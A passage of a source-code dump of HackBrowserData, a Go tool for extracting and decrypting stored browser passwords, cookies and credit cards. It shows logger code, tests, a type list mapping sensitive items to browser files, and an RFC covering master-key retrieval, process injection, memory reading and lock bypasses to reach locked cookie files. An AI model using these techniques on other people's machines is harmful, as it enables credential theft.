level.FatalLevel {\n\t\tpanic(\"log: invalid log level\")\n\t}\n\tatomic.StoreInt32((*int32)(&l.minLevel), int32(v))\n}\n\nfunc (l *Logger) Debug(args ...any) {\n\tif !l.canLogAt(level.DebugLevel) {\n\t\treturn\n\t}\n\tl.base.Debug(args...)\n}\n\nfunc (l *Logger) Warn(args ...any) {\n\tif !l.canLogAt(level.WarnLevel) {\n\t\treturn\n\t}\n\tl.base.Warn(args...)\n}\n\nfunc (l *Logger) Error(args ...any) {\n\tif !l.canLogAt(level.ErrorLevel) {\n\t\treturn\n\t}\n\tl.base.Error(args...)\n}\n\nfunc (l *Logger) Fatal(args ...any) {\n\tif !l.canLogAt(level.FatalLevel) {\n\t\treturn\n\t}\n\tl.base.Fatal(args...)\n}\n\nfunc (l *Logger) Debugf(format string, args ...any) {\n\tif !l.canLogAt(level.DebugLevel) {\n\t\treturn\n\t}\n\tl.base.Debug(fmt.Sprintf(format, args...))\n}\n\nfunc (l *Logger) Warnf(format string, args ...any) {\n\tif !l.canLogAt(level.WarnLevel) {\n\t\treturn\n\t}\n\tl.base.Warn(fmt.Sprintf(format, args...))\n}\n\nfunc (l *Logger) Errorf(format string, args ...any) {\n\tif !l.canLogAt(level.ErrorLevel) {\n\t\treturn\n\t}\n\tl.base.Error(fmt.Sprintf(format, args...))\n}\n\nfunc (l *Logger) Fatalf(format string, args ...any) {\n\tif !l.canLogAt(level.FatalLevel) {\n\t\treturn\n\t}\n\tl.base.Fatal(fmt.Sprintf(format, args...))\n}\n\ntype Base interface {\n\tDebug(args ...any)\n\tWarn(args ...any)\n\tError(args ...any)\n\tFatal(args ...any)\n}\n\n// baseLogger is a wrapper object around log.Logger from the standard library.\n// It supports logging at various log levels.\ntype baseLogger struct {\n\t*stdlog.Logger\n\tcallDepth int\n}\n\nfunc newBase(out io.Writer) *baseLogger {\n\tprefix := \"[hack-browser-data] \"\n\tbase := &baseLogger{\n\t\tLogger: stdlog.New(out, prefix, stdlog.Lshortfile),\n\t}\n\tbase.callDepth = base.calculateCallDepth()\n\treturn base\n}\n\n// calculateCallDepth returns the call depth for the logger.\nfunc (l *baseLogger) calculateCallDepth() int {\n\treturn l.getCallDepth()\n}\n\nfunc (l *baseLogger) prefixPrint(prefix string, args ...any) {\n\targs = append([]any{prefix}, args...)\n\tif err := l.Output(l.callDepth, fmt.Sprint(args...)); err != nil {\n\t\t_, _ = fmt.Fprintf(os.Stderr, \"log output error: %v\\n\", err)\n\t}\n}\n\nfunc (l *baseLogger) getCallDepth() int {\n\tvar defaultCallDepth = 2\n\tpcs := make([]uintptr, 10)\n\tn := runtime.Callers(defaultCallDepth, pcs)\n\tframes := runtime.CallersFrames(pcs[:n])\n\tfor i := 0; i < n; i++ {\n\t\tframe, more := frames.Next()\n\t\tif !l.isLoggerPackage(frame.Function) {\n\t\t\treturn i + 1\n\t\t}\n\t\tif !more {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn defaultCallDepth\n}\n\nfunc (l *baseLogger) isLoggerPackage(funcName string) bool {\n\tconst loggerFuncName = \"hackbrowserdata/log\"\n\treturn strings.Contains(funcName, loggerFuncName)\n}\n\n// Debug logs a message at Debug level.\nfunc (l *baseLogger) Debug(args ...any) {\n\tl.prefixPrint(\"DEBUG: \", args...)\n}\n\n// Warn logs a message at Warning level.\nfunc (l *baseLogger) Warn(args ...any) {\n\tl.prefixPrint(\"WARN: \", args...)\n}\n\n// Error logs a message at Error level.\nfunc (l *baseLogger) Error(args ...any) {\n\tl.prefixPrint(\"ERROR: \", args...)\n}\n\nvar osExit = os.Exit\n\n// Fatal logs a message at Fatal level\n// and process will exit with status set to 1.\nfunc (l *baseLogger) Fatal(args ...any) {\n\tl.prefixPrint(\"FATAL: \", args...)\n\tosExit(1)\n}\n"
  },
  {
    "path": "log/logger_test.go",
    "content": "package log\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n\n\tlevel2 \"github.com/moond4rk/hackbrowserdata/log/level\"\n)\n\nconst (\n\tpattern = `^\\[hack\\-browser\\-data] \\w+\\.go:\\d+:`\n)\n\ntype baseTestCase struct {\n\tdescription   string\n\tmessage       string\n\tsuffix        string\n\tlevel         level2.Level\n\twantedPattern string\n}\n\nvar (\n\tbaseTestCases = []baseTestCase{\n\t\t{\n\t\t\tdescription: \"without trailing newline, logger adds newline\",\n\t\t\tmessage:     \"hello, hacker!\",\n\t\t\tsuffix:      \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"with trailing newline, logger preserves newline\",\n\t\t\tmessage:     \"hello, hacker!\",\n\t\t\tsuffix:      \"\\n\",\n\t\t},\n\t}\n)\n\nfunc TestLoggerDebug(t *testing.T) {\n\tfor _, tc := range baseTestCases {\n\t\ttc := tc\n\t\ttc.level = level2.DebugLevel\n\t\tmessage := tc.message + tc.suffix\n\t\ttc.wantedPattern = fmt.Sprintf(\"%s %s: %s\\n$\", pattern, tc.level, tc.message)\n\t\tt.Run(tc.description, func(t *testing.T) {\n\t\t\tvar buf bytes.Buffer\n\t\t\tlogger := NewLogger(newBase(&buf))\n\t\t\tlogger.SetLevel(level2.DebugLevel)\n\t\t\tlogger.Debug(message)\n\t\t\tgot := buf.String()\n\t\t\tassert.Regexp(t, tc.wantedPattern, got)\n\t\t})\n\t}\n}\n\nfunc TestLoggerWarn(t *testing.T) {\n\tfor _, tc := range baseTestCases {\n\t\ttc := tc\n\t\ttc.level = level2.WarnLevel\n\t\tmessage := tc.message + tc.suffix\n\t\ttc.wantedPattern = fmt.Sprintf(\"%s %s: %s\\n$\", pattern, tc.level, tc.message)\n\t\tt.Run(tc.description, func(t *testing.T) {\n\t\t\tvar buf bytes.Buffer\n\t\t\tlogger := NewLogger(newBase(&buf))\n\t\t\tlogger.Warn(message)\n\t\t\tgot := buf.String()\n\t\t\tassert.Regexp(t, tc.wantedPattern, got)\n\t\t})\n\t}\n}\n\nfunc TestLoggerError(t *testing.T) {\n\tfor _, tc := range baseTestCases {\n\t\ttc := tc\n\t\ttc.level = level2.ErrorLevel\n\t\tmessage := tc.message + tc.suffix\n\t\ttc.wantedPattern = fmt.Sprintf(\"%s %s: %s\\n$\", pattern, tc.level, tc.message)\n\t\tt.Run(tc.description, func(t *testing.T) {\n\t\t\tvar buf bytes.Buffer\n\t\t\tlogger := NewLogger(newBase(&buf))\n\t\t\tlogger.Error(message)\n\t\t\tgot := buf.String()\n\t\t\tassert.Regexp(t, tc.wantedPattern, got)\n\t\t})\n\t}\n}\n\nfunc TestLoggerFatal(t *testing.T) {\n\toriginalOsExit := osExit\n\tdefer func() { osExit = originalOsExit }()\n\n\tfor _, tc := range baseTestCases {\n\t\ttc := tc\n\t\ttc.level = level2.FatalLevel\n\t\tmessage := tc.message + tc.suffix\n\t\ttc.wantedPattern = fmt.Sprintf(\"%s %s: %s\\n$\", pattern, tc.level, tc.message)\n\t\tt.Run(tc.description, func(t *testing.T) {\n\t\t\tvar buf bytes.Buffer\n\t\t\texitCalled := false\n\t\t\texitCode := 0\n\t\t\tosExit = func(code int) {\n\t\t\t\texitCalled = true\n\t\t\t\texitCode = code\n\t\t\t}\n\t\t\tlogger := NewLogger(newBase(&buf))\n\t\t\tlogger.Fatal(message)\n\t\t\tgot := buf.String()\n\t\t\tassert.Regexp(t, tc.wantedPattern, got)\n\t\t\tassert.True(t, exitCalled)\n\t\t\tassert.Equal(t, 1, exitCode)\n\t\t})\n\t}\n}\n\ntype formatTestCase struct {\n\tdescription   string\n\tformat        string\n\targs          []interface{}\n\tlevel         level2.Level\n\twantedPattern string\n}\n\nvar (\n\tformatTestCases = []formatTestCase{\n\t\t{\n\t\t\tdescription: \"message with format prefix\",\n\t\t\tformat:      \"hello, %s!\",\n\t\t\targs:        []any{\"Hacker\"},\n\t\t},\n\t\t{\n\t\t\tdescription: \"message with format prefix\",\n\t\t\tformat:      \"hello, %d,%d,%d!\",\n\t\t\targs:        []any{1, 2, 3},\n\t\t},\n\t\t{\n\t\t\tdescription: \"message with format prefix\",\n\t\t\tformat:      \"hello, %s,%d,%d!\",\n\t\t\targs:        []any{\"Hacker\", 2, 3},\n\t\t},\n\t}\n)\n\nfunc TestLoggerDebugf(t *testing.T) {\n\tfor _, tc := range formatTestCases {\n\t\ttc := tc\n\t\ttc.level = level2.DebugLevel\n\t\tmessage := fmt.Sprintf(tc.format, tc.args...)\n\t\ttc.wantedPattern = fmt.Sprintf(\"%s %s: %s\\n$\", pattern, tc.level, message)\n\t\tt.Run(tc.description, func(t *testing.T) {\n\t\t\tvar buf bytes.Buffer\n\t\t\tlogger := NewLogger(newBase(&buf))\n\t\t\tlogger.SetLevel(level2.DebugLevel)\n\t\t\tlogger.Debugf(tc.format, tc.args...)\n\t\t\tgot := buf.String()\n\t\t\tassert.Regexp(t, tc.wantedPattern, got)\n\t\t})\n\t}\n}\n\nfunc TestLoggerWarnf(t *testing.T) {\n\tfor _, tc := range formatTestCases {\n\t\ttc := tc\n\t\ttc.level = level2.WarnLevel\n\t\tmessage := fmt.Sprintf(tc.format, tc.args...)\n\t\ttc.wantedPattern = fmt.Sprintf(\"%s %s: %s\\n$\", pattern, tc.level, message)\n\t\tt.Run(tc.description, func(t *testing.T) {\n\t\t\tvar buf bytes.Buffer\n\t\t\tlogger := NewLogger(newBase(&buf))\n\t\t\tlogger.Warnf(tc.format, tc.args...)\n\t\t\tgot := buf.String()\n\t\t\tassert.Regexp(t, tc.wantedPattern, got)\n\t\t})\n\t}\n}\n\nfunc TestLoggerErrorf(t *testing.T) {\n\tfor _, tc := range formatTestCases {\n\t\ttc := tc\n\t\ttc.level = level2.ErrorLevel\n\t\tmessage := fmt.Sprintf(tc.format, tc.args...)\n\t\ttc.wantedPattern = fmt.Sprintf(\"%s %s: %s\\n$\", pattern, tc.level, message)\n\t\tt.Run(tc.description, func(t *testing.T) {\n\t\t\tvar buf bytes.Buffer\n\t\t\tlogger := NewLogger(newBase(&buf))\n\t\t\tlogger.Errorf(tc.format, tc.args...)\n\t\t\tgot := buf.String()\n\t\t\tassert.Regexp(t, tc.wantedPattern, got)\n\t\t})\n\t}\n}\n\nfunc TestLoggerFatalf(t *testing.T) {\n\toriginalOsExit := osExit\n\tdefer func() { osExit = originalOsExit }()\n\tfor _, tc := range formatTestCases {\n\t\ttc := tc\n\t\ttc.level = level2.FatalLevel\n\t\tmessage := fmt.Sprintf(tc.format, tc.args...)\n\t\ttc.wantedPattern = fmt.Sprintf(\"%s %s: %s\\n$\", pattern, tc.level, message)\n\t\tt.Run(tc.description, func(t *testing.T) {\n\t\t\tvar buf bytes.Buffer\n\t\t\texitCalled := false\n\t\t\texitCode := 0\n\t\t\tosExit = func(code int) {\n\t\t\t\texitCalled = true\n\t\t\t\texitCode = code\n\t\t\t}\n\t\t\tlogger := NewLogger(newBase(&buf))\n\t\t\tlogger.Fatalf(tc.format, tc.args...)\n\t\t\tgot := buf.String()\n\t\t\tassert.Regexp(t, tc.wantedPattern, got)\n\t\t\tassert.True(t, exitCalled)\n\t\t\tassert.Equal(t, 1, exitCode)\n\t\t})\n\t}\n}\n\nfunc TestLoggerWithLowerLevels(t *testing.T) {\n\t// Logger should not log messages at a level\n\t// lower than the specified level.\n\tlevels := []level2.Level{level2.DebugLevel, level2.WarnLevel, level2.ErrorLevel, level2.FatalLevel}\n\tops := []struct {\n\t\top       string\n\t\tlevel    level2.Level\n\t\tlogFunc  func(*Logger)\n\t\texpected bool\n\t}{\n\t\t{\"Debug\", level2.DebugLevel, func(l *Logger) { l.Debug(\"hello\") }, false},\n\t\t{\"Warn\", level2.WarnLevel, func(l *Logger) { l.Warn(\"hello\") }, false},\n\t\t{\"Error\", level2.ErrorLevel, func(l *Logger) { l.Error(\"hello\") }, false},\n\t\t{\"Fatal\", level2.FatalLevel, func(l *Logger) { l.Fatal(\"hello\") }, false},\n\t}\n\n\tfor _, setLevel := range levels {\n\t\tfor _, op := range ops {\n\t\t\tvar buf bytes.Buffer\n\t\t\tlogger := NewLogger(newBase(&buf))\n\t\t\tlogger.SetLevel(setLevel)\n\n\t\t\texpectedOutput := op.level >= setLevel\n\t\t\texitCalled := false\n\t\t\texitCode := 0\n\t\t\tosExit = func(code int) {\n\t\t\t\texitCalled = true\n\t\t\t\texitCode = code\n\t\t\t}\n\t\t\top.logFunc(logger)\n\n\t\t\toutput := buf.String()\n\t\t\tif expectedOutput {\n\t\t\t\tassert.NotEmpty(t, output)\n\t\t\t} else {\n\t\t\t\tassert.Empty(t, output)\n\t\t\t}\n\t\t\tif op.op == \"Fatal\" {\n\t\t\t\tassert.True(t, exitCalled)\n\t\t\t\tassert.Equal(t, 1, exitCode)\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "rfc/001-architecture-refactoring.md",
    "content": "# RFC-001: HackBrowserData Architecture Refactoring\n\n**Author**: moonD4rk  \n**Status**: Proposed  \n**Created**: 2025-09-01  \n**Updated**: 2025-09-01  \n\n## Abstract\n\nThis RFC analyzes the current architectural issues in the HackBrowserData project and proposes refactoring directions. The core goal of the refactoring is to establish a modular, extensible, and testable architecture while supporting usage as a library that can be imported by other projects.\n\n## Current Issues Analysis\n\n### 1. Limited Encryption Version Support\n\n**Current State**:\n- Only supports Chrome v10 (Chrome 80+) AES-GCM encryption format\n- Hardcoded \"v10\" prefix handling logic in the code\n- Lacks version detection and dynamic selection mechanism\n\n**Impact**:\n- Unable to support data extraction from older browser versions\n- Cannot adapt to future browser encryption algorithm upgrades (e.g., v11, v20)\n- Chrome is introducing new encryption mechanisms (e.g., App-Bound Encryption in Chrome 127+), which the current architecture struggles to extend\n\n### 2. Scattered Cross-Platform MasterKey Retrieval\n\n**Current State**:\n- Windows: Decrypts encrypted_key from Local State via DPAPI\n- macOS: Accesses Keychain through security command, derives key using PBKDF2\n- Linux: Accesses Secret Service via D-Bus or uses hardcoded \"peanuts\" salt\n\n**Issues**:\n- Each platform implementation is completely independent without a unified interface\n- Difficult to add new key retrieval methods\n- Code duplication and maintenance challenges\n- Chrome on Windows is updating retrieval methods, requiring support for multiple strategies\n\n### 3. Windows Cookie File Access Permission Issues\n\n**Specific Issues**:\n- On Windows, browsers lock Cookie files during runtime\n- Direct reading may encounter \"The process cannot access the file\" errors\n- Some security software blocks access to Cookie files\n\n**Current Approach Limitations**:\n- Simple file copying may fail due to file locking\n- Lacks alternative access strategies (e.g., shadow copy, process injection)\n- No abstraction for permission elevation or bypass mechanisms\n\n### 4. Coupled Code Architecture\n\n**Problems**:\n- CLI logic mixed with core functionality\n- Data extraction, decryption, and output are tightly coupled\n- Uses global variables and functions, difficult to use as a library\n\n**Specific Impact**:\n- Cannot use core functionality independently\n- Difficult to unit test\n- Code reuse challenges\n\n### 5. Inconsistent Error Handling\n\n**Current State**:\n- Some functions return errors, others directly use logging\n- Error messages lack context (which browser, data type, platform)\n- Cannot distinguish error severity (ignorable vs. fatal errors)\n\n**Impact**:\n- Debugging difficulties with insufficient error information\n- Cannot implement flexible error handling strategies\n- Inconsistent user experience\n\n### 6. Testing and Maintenance Difficulties\n\n**Issues**:\n- Depends on real file system and browser installations\n- Cannot mock system calls and external dependencies\n- Low test coverage\n- Adding new features requires modifying multiple code locations\n\n## Architecture Improvement Proposals\n\n### 1. Versioned Encryption Strategies\n\n**Design Approach**:\n- Create encryption version interface where each version implements its own detection and decryption logic\n- Use registration mechanism to manage all supported versions\n- Support both automatic detection and manual version specification\n\n**Key Capabilities**:\n- Version Detection: Automatically identify encryption version through data characteristics\n- Version Registration: Dynamically register new encryption version implementations\n- Priority Control: Try different versions by priority\n\n### 2. Unified MasterKey Retrieval Abstraction\n\n**Design Approach**:\n- Define cross-platform MasterKey retrieval interface\n- Each platform can have multiple retrieval strategies\n- Support strategy chain, trying different methods sequentially\n\n**Windows Strategy Examples**:\n- DPAPI Strategy (traditional method)\n- App-Bound Strategy (Chrome 127+)\n- Cloud Sync Strategy (potential future)\n\n**Key Capabilities**:\n- Platform detection and automatic selection\n- Strategy priority and fallback mechanisms\n- Error handling and logging\n\n### 3. File Access Abstraction Layer\n\n**Design Approach**:\n- Create file access interface encapsulating different access strategies\n- For Windows Cookie issues, implement multiple access methods\n- Provide unified error handling and retry mechanisms\n\n**Windows Cookie Access Strategies**:\n- Direct Copy (current method)\n- Volume Shadow Copy Service (VSS)\n- Memory Reading (from browser process)\n- Stream Reading (bypass exclusive locks)\n\n### 4. Layered Package Structure\n\n**Design Principles**:\n- Separate public API from internal implementation\n- Separate interface definitions from concrete implementations\n- Isolate platform-specific code\n\n**Package Structure Plan**:\n```\npkg/           # Public API (externally importable)\n├── browser/   # Browser interface definitions\n├── crypto/    # Encryption interface definitions\n└── extractor/ # Data extractor interface definitions\n\ninternal/      # Internal implementation (not exposed)\n├── browser/   # Browser implementations\n├── crypto/    # Encryption algorithm implementations\n└── platform/  # Platform-specific implementations\n```\n\n### 5. Improved Browser Interface\n\n**Design Goals**:\n- Support dependency injection\n- Configurable and extensible\n- Easy to test\n\n**Core Methods**:\n- Configuration settings (profile, crypto provider, etc.)\n- Data extraction (support selecting data types)\n- Capability queries (supported data types and platforms)\n\n### 6. Unified Error Handling\n\n**Design Approach**:\n- Define structured error types\n- Include rich context information\n- Support error classification and handling strategies\n\n**Error Information Should Include**:\n- Operation type\n- Browser name\n- Data type\n- Platform information\n- Severity level\n- Original error\n\n### 7. Library API Design\n\n**Design Goals**:\n- Provide clean client interface\n- Support convenient methods for common use cases\n- Allow advanced users to customize behavior\n\n**Use Cases**:\n- Simple: One-click extraction of all browser data\n- Advanced: Custom encryption versions, error handling, data filtering\n\n### 8. Testing Strategy\n\n**Improvement Directions**:\n- Use interfaces instead of concrete implementations\n- Support dependency injection\n- Provide mock implementations\n\n**Test Types**:\n- Unit tests: Test independent components\n- Integration tests: Test component interactions\n- Platform tests: Test platform-specific functionality\n\n## Implementation Recommendations\n\n### Priority Levels\n\n1. **High Priority**:\n   - Versioned encryption strategies (solve version support issues)\n   - MasterKey retrieval abstraction (unify cross-platform implementations)\n   - Windows Cookie access issues (solve permission problems)\n\n2. **Medium Priority**:\n   - Browser interface refactoring\n   - Unified error handling\n   - Basic testing framework\n\n3. **Low Priority**:\n   - Complete library API\n   - Advanced feature extensions\n   - Performance optimizations\n\n### Compatibility Considerations\n\n- Keep CLI backward compatible, internally calling new architecture\n- Provide migration documentation\n- Gradually deprecate old APIs across versions\n\n## Security Considerations\n\n1. **Minimize Permissions**: Only request necessary system permissions\n2. **Memory Safety**: Zero out sensitive data after use\n3. **Error Messages**: Avoid leaking sensitive information\n4. **Input Validation**: Strictly validate paths and data\n\n## Open Questions\n\n1. **File Access Strategy Selection**: How to automatically select the best file access strategy?\n2. **Error Recovery**: How to gracefully recover and continue when encountering partial failures?\n3. **Configuration Management**: Should configuration files be supported to control behavior?\n4. **Plugin System**: Should user-defined data extractors be supported?\n\n## References\n\n- [Chromium OS Crypt](https://source.chromium.org/chromium/chromium/src/+/main:components/os_crypt/)\n- [Chrome Password Decryption](https://github.com/chromium/chromium/blob/main/components/os_crypt/sync/os_crypt_win.cc)\n- [Firefox NSS](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS)\n- [Windows File Locking](https://docs.microsoft.com/en-us/windows/win32/fileio/locking-and-unlocking-byte-ranges-in-files)"
  },
  {
    "path": "types/types.go",
    "content": "package types\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n)\n\ntype DataType int\n\nconst (\n\tChromiumKey DataType = iota\n\tChromiumPassword\n\tChromiumCookie\n\tChromiumBookmark\n\tChromiumHistory\n\tChromiumDownload\n\tChromiumCreditCard\n\tChromiumLocalStorage\n\tChromiumSessionStorage\n\tChromiumExtension\n\n\tYandexPassword\n\tYandexCreditCard\n\n\tFirefoxKey4\n\tFirefoxPassword\n\tFirefoxCookie\n\tFirefoxBookmark\n\tFirefoxHistory\n\tFirefoxDownload\n\tFirefoxCreditCard\n\tFirefoxLocalStorage\n\tFirefoxSessionStorage\n\tFirefoxExtension\n)\n\nvar itemFileNames = map[DataType]string{\n\tChromiumKey:            fileChromiumKey,\n\tChromiumPassword:       fileChromiumPassword,\n\tChromiumCookie:         fileChromiumCookie,\n\tChromiumBookmark:       fileChromiumBookmark,\n\tChromiumDownload:       fileChromiumDownload,\n\tChromiumLocalStorage:   fileChromiumLocalStorage,\n\tChromiumSessionStorage: fileChromiumSessionStorage,\n\tChromiumCreditCard:     fileChromiumCredit,\n\tChromiumExtension:      fileChromiumExtension,\n\tChromiumHistory:        fileChromiumHistory,\n\tYandexPassword:         fileYandexPassword,\n\tYandexCreditCard:       fileYandexCredit,\n\tFirefoxKey4:            fileFirefoxKey4,\n\tFirefoxPassword:        fileFirefoxPassword,\n\tFirefoxCookie:          fileFirefoxCookie,\n\tFirefoxBookmark:        fileFirefoxData,\n\tFirefoxDownload:        fileFirefoxData,\n\tFirefoxLocalStorage:    fileFirefoxLocalStorage,\n\tFirefoxHistory:         fileFirefoxData,\n\tFirefoxExtension:       fileFirefoxExtension,\n\tFirefoxSessionStorage:  UnsupportedItem,\n\tFirefoxCreditCard:      UnsupportedItem,\n}\n\nfunc (i DataType) String() string {\n\tswitch i {\n\tcase ChromiumKey:\n\t\treturn \"ChromiumKey\"\n\tcase ChromiumPassword:\n\t\treturn \"ChromiumPassword\"\n\tcase ChromiumCookie:\n\t\treturn \"ChromiumCookie\"\n\tcase ChromiumBookmark:\n\t\treturn \"ChromiumBookmark\"\n\tcase ChromiumHistory:\n\t\treturn \"ChromiumHistory\"\n\tcase ChromiumDownload:\n\t\treturn \"ChromiumDownload\"\n\tcase ChromiumCreditCard:\n\t\treturn \"ChromiumCreditCard\"\n\tcase ChromiumLocalStorage:\n\t\treturn \"ChromiumLocalStorage\"\n\tcase ChromiumSessionStorage:\n\t\treturn \"ChromiumSessionStorage\"\n\tcase ChromiumExtension:\n\t\treturn \"ChromiumExtension\"\n\tcase YandexPassword:\n\t\treturn \"YandexPassword\"\n\tcase YandexCreditCard:\n\t\treturn \"YandexCreditCard\"\n\tcase FirefoxKey4:\n\t\treturn \"FirefoxKey4\"\n\tcase FirefoxPassword:\n\t\treturn \"FirefoxPassword\"\n\tcase FirefoxCookie:\n\t\treturn \"FirefoxCookie\"\n\tcase FirefoxBookmark:\n\t\treturn \"FirefoxBookmark\"\n\tcase FirefoxHistory:\n\t\treturn \"FirefoxHistory\"\n\tcase FirefoxDownload:\n\t\treturn \"FirefoxDownload\"\n\tcase FirefoxCreditCard:\n\t\treturn \"FirefoxCreditCard\"\n\tcase FirefoxLocalStorage:\n\t\treturn \"FirefoxLocalStorage\"\n\tcase FirefoxSessionStorage:\n\t\treturn \"FirefoxSessionStorage\"\n\tcase FirefoxExtension:\n\t\treturn \"FirefoxExtension\"\n\tdefault:\n\t\treturn \"UnsupportedItem\"\n\t}\n}\n\n// Filename returns the filename for the item, defined by browser\n// chromium local storage is a folder, so it returns the file name of the folder\nfunc (i DataType) Filename() string {\n\tif fileName, ok := itemFileNames[i]; ok {\n\t\treturn fileName\n\t}\n\treturn UnsupportedItem\n}\n\n// TempFilename returns the temp filename for the item with suffix\n// eg: chromiumKey_0.temp\nfunc (i DataType) TempFilename() string {\n\tconst tempSuffix = \"temp\"\n\ttempFile := fmt.Sprintf(\"%s_%d.%s\", i.Filename(), i, tempSuffix)\n\treturn filepath.Join(os.TempDir(), tempFile)\n}\n\n// IsSensitive returns whether the item is sensitive data\n// password, cookie, credit card, master key is unlimited\nfunc (i DataType) IsSensitive() bool {\n\tswitch i {\n\tcase ChromiumKey, ChromiumCookie, ChromiumPassword, ChromiumCreditCard,\n\t\tFirefoxKey4, FirefoxPassword, FirefoxCookie, FirefoxCreditCard,\n\t\tYandexPassword, YandexCreditCard:\n\t\treturn true\n\tdefault:\n\t\treturn false\n\t}\n}\n\n// FilterSensitiveItems returns the sensitive items\nfunc FilterSensitiveItems(items []DataType) []DataType {\n\tvar filtered []DataType\n\tfor _, item := range items {\n\t\tif item.IsSensitive() {\n\t\t\tfiltered = append(filtered, item)\n\t\t}\n\t}\n\treturn filtered\n}\n\n// DefaultFirefoxTypes returns the default items for the firefox browser\nvar DefaultFirefoxTypes = []DataType{\n\tFirefoxKey4,\n\tFirefoxPassword,\n\tFirefoxCookie,\n\tFirefoxBookmark,\n\tFirefoxHistory,\n\tFirefoxDownload,\n\tFirefoxCreditCard,\n\tFirefoxLocalStorage,\n\tFirefoxSessionStorage,\n\tFirefoxExtension,\n}\n\n// DefaultYandexTypes returns the default items for the yandex browser\nvar DefaultYandexTypes = []DataType{\n\tChromiumKey,\n\tChromiumCookie,\n\tChromiumBookmark,\n\tChromiumHistory,\n\tChromiumDownload,\n\tChromiumExtension,\n\tYandexPassword,\n\tChromiumLocalStorage,\n\tChromiumSessionStorage,\n\tYandexCreditCard,\n}\n\n// DefaultChromiumTypes returns the default items for the chromium browser\nvar DefaultChromiumTypes = []DataType{\n\tChromiumKey,\n\tChromiumPassword,\n\tChromiumCookie,\n\tChromiumBookmark,\n\tChromiumHistory,\n\tChromiumDownload,\n\tChromiumCreditCard,\n\tChromiumLocalStorage,\n\tChromiumSessionStorage,\n\tChromiumExtension,\n}\n\n// item's default filename\nconst (\n\tfileChromiumKey            = \"Local State\"\n\tfileChromiumCredit         = \"Web Data\"\n\tfileChromiumPassword       = \"Login Data\"\n\tfileChromiumHistory        = \"History\"\n\tfileChromiumDownload       = \"History\"\n\tfileChromiumCookie         = \"Cookies\"\n\tfileChromiumBookmark       = \"Bookmarks\"\n\tfileChromiumLocalStorage   = \"Local Storage/leveldb\"\n\tfileChromiumSessionStorage = \"Session Storage\"\n\tfileChromiumExtension      = \"Secure Preferences\" // TODO: add more extension files and folders, eg: Preferences\n\n\tfileYandexPassword = \"Ya Passman Data\"\n\tfileYandexCredit   = \"Ya Credit Cards\"\n\n\tfileFirefoxKey4         = \"key4.db\"\n\tfileFirefoxCookie       = \"cookies.sqlite\"\n\tfileFirefoxPassword     = \"logins.json\"\n\tfileFirefoxData         = \"places.sqlite\"\n\tfileFirefoxLocalStorage = \"webappsstore.sqlite\"\n\tfileFirefoxExtension    = \"extensions.json\"\n\n\tUnsupportedItem = \"unsupported item\"\n)\n"
  },
  {
    "path": "types/types_test.go",
    "content": "package types\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strconv\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestDataType_FileName(t *testing.T) {\n\tfor _, item := range DefaultChromiumTypes {\n\t\tassert.Equal(t, item.Filename(), item.filename())\n\t}\n\tfor _, item := range DefaultFirefoxTypes {\n\t\tassert.Equal(t, item.Filename(), item.filename())\n\t}\n\tfor _, item := range DefaultYandexTypes {\n\t\tassert.Equal(t, item.Filename(), item.filename())\n\t}\n}\n\nfunc TestDataType_TempFilename(t *testing.T) {\n\tasserts := assert.New(t)\n\n\ttestCases := []struct {\n\t\titem     DataType\n\t\texpected string\n\t}{\n\t\t{ChromiumKey, \"Local State\"},\n\t\t{ChromiumPassword, \"Login Data\"},\n\t\t{ChromiumLocalStorage, \"Local Storage/leveldb\"},\n\t\t{FirefoxSessionStorage, \"unsupported item\"},\n\t\t{FirefoxLocalStorage, \"webappsstore.sqlite\"},\n\t\t{YandexPassword, \"Ya Passman Data\"},\n\t\t{YandexCreditCard, \"Ya Credit Cards\"},\n\t}\n\n\tfor _, tc := range testCases {\n\t\texpectedPrefix := tc.expected + \"_\" + strconv.Itoa(int(tc.item)) + \".temp\"\n\t\tactualPath := tc.item.TempFilename()\n\t\tasserts.Contains(actualPath, expectedPrefix, \"TempFilename should contain the correct prefix for \"+tc.expected)\n\t\tasserts.Contains(actualPath, os.TempDir(), \"TempFilename should be in the system temp directory for \"+tc.expected)\n\t}\n}\n\nfunc TestDataType_IsSensitive(t *testing.T) {\n\tasserts := assert.New(t)\n\ttestCases := []struct {\n\t\titem     DataType\n\t\texpected bool\n\t}{\n\t\t{ChromiumKey, true},\n\t\t{ChromiumPassword, true},\n\t\t{ChromiumBookmark, false},\n\t}\n\tfor _, tc := range testCases {\n\t\tasserts.Equal(tc.expected, tc.item.IsSensitive(), fmt.Sprintf(\"IsSensitive for %v should be %v\", tc.item, tc.expected))\n\t}\n}\n\nfunc TestFilterSensitiveItems(t *testing.T) {\n\tasserts := assert.New(t)\n\ttestCases := []struct {\n\t\titems    []DataType\n\t\texpected int\n\t}{\n\t\t{[]DataType{ChromiumKey, ChromiumBookmark, ChromiumPassword}, 2},\n\t\t{[]DataType{ChromiumBookmark, ChromiumHistory}, 0},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tfilteredItems := FilterSensitiveItems(tc.items)\n\t\tasserts.Len(filteredItems, tc.expected, \"FilterSensitiveItems should return the correct number of sensitive items\")\n\t\tfor _, item := range filteredItems {\n\t\t\tasserts.True(item.IsSensitive(), \"Filtered items should be sensitive\")\n\t\t}\n\t}\n}\n\nfunc (i DataType) filename() string {\n\tswitch i {\n\tcase ChromiumKey:\n\t\treturn fileChromiumKey\n\tcase ChromiumPassword:\n\t\treturn fileChromiumPassword\n\tcase ChromiumCookie:\n\t\treturn fileChromiumCookie\n\tcase ChromiumBookmark:\n\t\treturn fileChromiumBookmark\n\tcase ChromiumDownload:\n\t\treturn fileChromiumDownload\n\tcase ChromiumLocalStorage:\n\t\treturn fileChromiumLocalStorage\n\tcase ChromiumSessionStorage:\n\t\treturn fileChromiumSessionStorage\n\tcase ChromiumCreditCard:\n\t\treturn fileChromiumCredit\n\tcase ChromiumExtension:\n\t\treturn fileChromiumExtension\n\tcase ChromiumHistory:\n\t\treturn fileChromiumHistory\n\tcase YandexPassword:\n\t\treturn 